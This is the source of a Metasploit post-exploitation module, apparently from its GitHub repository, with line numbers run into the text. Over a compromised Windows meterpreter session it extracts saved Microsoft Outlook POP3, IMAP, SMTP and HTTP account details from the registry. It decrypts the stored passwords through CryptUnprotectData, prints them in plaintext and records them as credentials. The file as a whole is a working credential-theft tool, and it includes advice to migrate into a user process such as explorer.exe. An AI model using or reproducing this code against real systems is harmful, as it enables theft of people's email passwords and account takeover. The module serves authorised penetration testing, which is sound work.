Path: blob/master/modules/post/windows/gather/credentials/outlook.rb
19612 views
# -*- coding: binary -*-12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Post8include Msf::Post::Windows::Registry9include Msf::Post::Windows::Priv10include Msf::Auxiliary::Report1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Windows Gather Microsoft Outlook Saved Password Extraction',17'Description' => %q{18This module extracts and decrypts saved Microsoft19Outlook (versions 2002-2010) passwords from the Windows20Registry for POP3/IMAP/SMTP/HTTP accounts.21In order for decryption to be successful, this module must be22executed under the same privileges as the user which originally23encrypted the password.24},25'License' => MSF_LICENSE,26'Author' => [ 'Justin Cacak' ], # Updated to work with newer versions of Outlook (2013, 2016, Office 365)27'Platform' => [ 'win' ],28'SessionTypes' => [ 'meterpreter' ],29'Notes' => {30'Stability' => [CRASH_SAFE],31'SideEffects' => [],32'Reliability' => []33},34'Compat' => {35'Meterpreter' => {36'Commands' => %w[37stdapi_railgun_api38stdapi_sys_config_getuid39stdapi_sys_process_attach40stdapi_sys_process_get_processes41stdapi_sys_process_getpid42stdapi_sys_process_memory_allocate43stdapi_sys_process_memory_read44stdapi_sys_process_memory_write45]46}47}48)49)50end5152def prepare_railgun53if !session.railgun.get_dll('crypt32')54session.railgun.add_dll('crypt32')55end56end5758def decrypt_password(data)59pid = client.sys.process.getpid60process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)6162mem = process.memory.allocate(128)63process.memory.write(mem, data)6465if session.sys.process.each_process.find { |i| i['pid'] == pid }['arch'] == 'x86'66addr = [mem].pack('V')67len = [data.length].pack('V')68ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)69len, addr = ret['pDataOut'].unpack('V2')70else71addr = [mem].pack('Q')72len = [data.length].pack('Q')73ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)74len, addr = ret['pDataOut'].unpack('Q2')75end7677return '' if len == 07879decrypted_pw = process.memory.read(addr, len)80return decrypted_pw81end8283# Just a wrapper to avoid copy pasta and long lines84def get_valdata(key, name)85registry_getvaldata("#{@key_base}\\#{key}", name)86end8788def get_registry(outlook_ver)89# Determine if saved accounts exist within Outlook. Ignore the Address Book and Personal Folder registry entries.90outlook_exists = 091saved_accounts = 09293# Check for registry key based on Outlook version pulled from registry94@key_base = "HKCU\\Software\\Microsoft\\Office\\#{outlook_ver}.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"95next_account_id = get_valdata('', 'NextAccountID')9697# Default to original registry key for module98if next_account_id.nil?99@key_base = 'HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676'100next_account_id = get_valdata('', 'NextAccountID')101end102103if !next_account_id.nil?104# Microsoft Outlook not found105106print_status 'Microsoft Outlook found in Registry...'107outlook_exists = 1108registry_enumkeys(@key_base).each do |k|109display_name = get_valdata(k, 'Display Name')110111if display_name.nil?112# Microsoft Outlook found, but no account data saved in this location113next114end115116# Account found - parse through registry data to determine account type. Parse remaining registry data after to speed up module.117saved_accounts = 1118got_user_pw = 0119120displayname = get_valdata(k, 'Display Name')121email = get_valdata(k, 'Email')122pop3_server = get_valdata(k, 'POP3 Server')123smtp_server = get_valdata(k, 'SMTP Server')124http_server_url = get_valdata(k, 'HTTP Server URL')125imap_server = get_valdata(k, 'IMAP Server')126smtp_use_auth = get_valdata(k, 'SMTP Use Auth')127if !smtp_use_auth.nil?128smtp_user = get_valdata(k, 'SMTP User')129smtp_password = get_valdata(k, 'SMTP Password')130smtp_auth_method = get_valdata(k, 'SMTP Auth Method')131end132133if !pop3_server.nil?134type = 'POP3'135elsif !http_server_url.nil?136type = 'HTTP'137elsif !imap_server.nil?138type = 'IMAP'139else140type = 'UNKNOWN'141end142143# Decrypt password and output results. Need to do each separately due to the way Microsoft stores them.144print_good('Account Found:')145print_status(" Type: #{type}")146print_status(" User Display Name: #{displayname}")147print_status(" User Email Address: #{email}")148149if type == 'POP3'150pop3_pw = get_valdata(k, 'POP3 Password')151pop3_user = get_valdata(k, 'POP3 User')152pop3_use_spa = get_valdata(k, 'POP3 Use SPA')153smtp_port = get_valdata(k, 'SMTP Port')154155print_status(" User Name: #{pop3_user}")156if pop3_pw.nil?157print_status(' User Password: <not stored>')158else159pop3_pw.slice!(0, 1)160pass = decrypt_password(pop3_pw)161print_status(" User Password: #{pass}")162# Prepare data for creds163got_user_pw = 1164host = pop3_server165user = pop3_user166end167168if !pop3_use_spa.nil? # Account for SPA (NTLM auth)169print_status(' Secure Password Authentication (SPA): Enabled')170end171172print_status(" Incoming Mail Server (POP3): #{pop3_server}")173174pop3_use_ssl = get_valdata(k, 'POP3 Use SSL')175if pop3_use_ssl.nil?176print_status(' POP3 Use SSL: No')177else178print_status(' POP3 Use SSL: Yes')179end180181pop3_port = get_valdata(k, 'POP3 Port')182if pop3_port.nil?183print_status(' POP3 Port: 110')184portnum = 110185else186print_status(" POP3 Port: #{pop3_port}")187portnum = pop3_port188end189190if smtp_use_auth.nil? # Account for SMTP servers requiring authentication191print_status(" Outgoing Mail Server (SMTP): #{smtp_server}")192else193print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]")194# Check if smtp_auth_method is null. If so, the inbound credentials are utilized195if smtp_auth_method.nil?196smtp_user = pop3_user197smtp_decrypted_password = pass198else199smtp_password.slice!(0, 1)200smtp_decrypted_password = decrypt_password(smtp_password)201end202print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}")203print_status(" Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")204end205206smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')207if smtp_use_ssl.nil?208print_status(' SMTP Use SSL: No')209else210print_status(' SMTP Use SSL: Yes')211end212213if smtp_port.nil?214print_status(' SMTP Port: 25')215smtp_port = 25216else217print_status(" SMTP Port: #{smtp_port}")218end219220elsif type == 'HTTP'221http_password = get_valdata(k, 'HTTP Password')222http_user = get_valdata(k, 'HTTP User')223http_use_spa = get_valdata(k, 'HTTP Use SPA')224225print_status(" User Name: #{http_user}")226if http_password.nil?227print_status(' User Password: <not stored>')228else229http_password.slice!(0, 1)230pass = decrypt_password(http_password)231print_status(" User Password: #{pass}")232got_user_pw = 1233host = http_server_url234user = http_user235236# Detect 80 or 443 for creds237http_server_url.downcase!238if http_server_url.include? "h\x00t\x00t\x00p\x00s"239portnum = 443240else241portnum = 80242end243end244245if !http_use_spa.nil? # Account for SPA (NTLM auth)246print_status(' Secure Password Authentication (SPA): Enabled')247end248249print_status(" HTTP Server URL: #{http_server_url}")250251elsif type == 'IMAP'252imap_user = get_valdata(k, 'IMAP User')253imap_use_spa = get_valdata(k, 'IMAP Use SPA')254imap_password = get_valdata(k, 'IMAP Password')255smtp_port = get_valdata(k, 'SMTP Port')256257print_status(" User Name: #{imap_user}")258if imap_password.nil?259print_status(' User Password: <not stored>')260else261imap_password.slice!(0, 1)262pass = decrypt_password(imap_password)263print_status(" User Password: #{pass}")264got_user_pw = 1265host = imap_server266user = imap_user267end268269if !imap_use_spa.nil? # Account for SPA (NTLM auth)270print_status(' Secure Password Authentication (SPA): Enabled')271end272273print_status(" Incoming Mail Server (IMAP): #{imap_server}")274275imap_use_ssl = get_valdata(k, 'IMAP Use SSL')276if imap_use_ssl.nil?277print_status(' IMAP Use SSL: No')278else279print_status(' IMAP Use SSL: Yes')280end281282imap_port = get_valdata(k, 'IMAP Port')283if imap_port.nil?284print_status(' IMAP Port: 143')285portnum = 143286else287print_status(" IMAP Port: #{imap_port}")288portnum = imap_port289end290291if smtp_use_auth.nil? # Account for SMTP servers requiring authentication292print_status(" Outgoing Mail Server (SMTP): #{smtp_server}")293else294print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]")295# Check if smtp_auth_method is null. If so, the inbound credentials are utilized296if smtp_auth_method.nil?297smtp_user = imap_user298smtp_decrypted_password = pass299else300smtp_password.slice!(0, 1)301smtp_decrypted_password = decrypt_password(smtp_password)302end303print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}")304print_status(" Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")305end306307smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')308if smtp_use_ssl.nil?309print_status(' SMTP Use SSL: No')310else311print_status(' SMTP Use SSL: Yes')312end313314if smtp_port.nil?315print_status(' SMTP Port: 25')316smtp_port = 25317else318print_status(" SMTP Port: #{smtp_port}")319end320321end322323if got_user_pw == 1324service_data = {325address: Rex::Socket.getaddress(host),326port: portnum,327protocol: 'tcp',328service_name: type,329workspace_id: myworkspace_id330}331332credential_data = {333origin_type: :session,334session_id: session_db_id,335post_reference_name: refname,336username: user,337private_data: pass,338private_type: :password339}340341credential_core = create_credential(credential_data.merge(service_data))342343login_data = {344core: credential_core,345access_level: 'User',346status: Metasploit::Model::Login::Status::UNTRIED347}348349create_credential_login(login_data.merge(service_data))350end351352if !smtp_use_auth.nil?353service_data = {354address: Rex::Socket.getaddress(smtp_server),355port: smtp_port,356protocol: 'tcp',357service_name: 'smtp',358workspace_id: myworkspace_id359}360361credential_data = {362origin_type: :session,363session_id: session_db_id,364post_reference_name: refname,365username: smtp_user,366private_data: smtp_decrypted_password,367private_type: :password368}369370credential_core = create_credential(credential_data.merge(service_data))371372login_data = {373core: credential_core,374access_level: 'User',375status: Metasploit::Model::Login::Status::UNTRIED376}377378create_credential_login(login_data.merge(service_data))379end380381print_status('')382end383end384385if outlook_exists == 0386print_status('Microsoft Outlook not installed or Exchange accounts are being used.')387elsif saved_accounts == 0388print_status('Microsoft Outlook installed however no accounts stored in Registry.')389end390end391392def outlook_version393val = registry_getvaldata('HKCR\\Outlook.Application\\CurVer', '')394if !val.nil?395idx = val.rindex('.')396val[idx + 1..]397end398end399400def run401# Get Outlook version from registry402outlook_ver = outlook_version403fail_with(Failure::NotFound, 'Microsoft Outlook version not found in registry.') if outlook_ver.nil?404405print_status("Microsoft Outlook Version: #{outlook_ver}")406uid = session.sys.config.getuid # Get uid. Decryption will only work if executed under the same user account as the password was encrypted.407# **This isn't entirely true. The Master key and decryption can be retrieved using Mimikatz but it seems like more work than it's worth.408409if is_system?410print_error("This module is running under #{uid}.")411print_error('Automatic decryption will not be possible.')412print_error('Migrate to a user process to achieve successful decryption (e.g. explorer.exe).')413else414print_status('Searching for Microsoft Outlook in Registry...')415prepare_railgun416get_registry(outlook_ver)417end418419print_status('Complete')420end421end422423424